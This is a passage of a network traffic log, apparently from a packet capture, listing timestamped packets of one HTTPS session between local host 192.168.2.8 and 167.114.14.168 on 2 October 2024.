Oct 2, 2024 06:11:32.508780956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.508969069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509080887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509099007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509392977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509397984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509566069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509708881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509723902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509763956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509768963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.509799004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509875059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.509995937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510030031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510092974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.510092974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.510099888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510571003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510591030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510668993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.510668993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.510675907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.510755062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.524213076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.524231911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.524456024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.524463892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.524583101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.598470926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598516941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598551989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.598561049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598860979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598881006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598896980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.598907948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.598921061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.598988056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.598988056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.599395990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.599414110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.599481106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.599488020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.599668026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.599834919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.599857092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.599951029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.599956036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600055933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.600419998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600434065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600661039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.600666046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600851059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600868940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600884914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.600889921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.600902081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.600969076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.601324081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.601340055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.601457119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.601461887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.601556063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.607664108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.614981890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.615046024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.615080118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.615086079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.615112066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.615396976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.689161062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689227104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689260960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.689265966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689297915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.689455986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.689584017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689599991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689745903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.689752102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.689812899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.690083981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690102100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690197945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.690203905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690354109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.690525055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690541983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690679073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.690685034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.690840960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.691099882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.691118002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.691343069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.691379070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.691391945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.691410065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.691509962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.691672087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.692189932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.692203999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.692426920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.692434072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.705873966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.705894947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.706005096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.706005096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.706021070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.752769947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.779915094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.779944897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780009031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780019045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780045986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780071020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780355930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780385971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780426979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780431986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780481100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780481100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780842066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780878067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780917883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.780925989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.780958891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.781052113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.781290054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.781313896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.781382084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.781383038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.781388044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.781605005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.781831980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.781857014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782136917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782144070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782335043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782355070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782370090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782373905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782439947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782464027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782682896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782706022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782772064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782772064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.782778025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.782891989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.796448946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.796464920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.796658993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.796664953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.797013998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.887392044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.887409925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.887514114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.887514114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.887525082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.887737989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.887856007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.887871981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.887974977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.887979984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888079882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888324022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888343096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888411999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888411999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888417006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888493061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888837099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888851881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888931036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888931990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.888937950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.888999939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.889314890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889328957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889451981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.889457941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889628887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.889784098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889801979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889878035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.889878035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.889883995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.889965057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.890372038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.890388966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.890476942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.890476942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.890484095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.890726089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.904211998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.904228926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.904324055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.904331923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.904665947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.987749100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.987823963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.987859964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.987870932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.987881899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.987925053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988267899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988305092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988341093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988347054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988373995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988423109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988730907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988748074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988782883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988789082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.988820076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.988886118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.989187956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.989204884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.989430904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.989438057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.989532948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.989789963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.989805937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.989957094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.989963055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990094900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990098000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990108967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990140915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990178108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990185022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990216017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990262985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990413904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990428925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990499973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990499973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.990505934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.990587950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.994930983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.994960070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.994992971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.994997978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.995023966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.995074987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.078896999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.078912973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.079112053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.079118013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.079354048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.079372883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.079396009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.079401970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.079440117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.079440117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.079471111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.080596924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.080611944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.080924988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.080931902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.080982924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.083841085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.083861113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.083925962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.083930969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.083955050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.083960056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.083975077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.083988905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.083992958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084013939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084064960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084064960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084073067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084085941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084160089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084160089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084166050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084243059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084275007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084290981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084368944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084368944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.084374905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.084851980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.085707903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.085725069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.085777998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.085783958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.085942984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.169483900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.169536114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.169586897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.169612885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.169622898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.169817924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.169841051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.169919014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.169919014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.169928074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170032024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.170366049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170383930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170470953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.170478106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170696020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170717955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170737028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.170741081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.170758009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.170905113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171091080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171106100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171159983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171166897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171202898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171251059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171641111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171674967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171714067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171719074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.171750069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.171897888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.172302961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.172322989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.172458887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.172465086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.172616959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.176435947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.176457882 CEST	443	49723	167.114.14.168	192.168.2.8
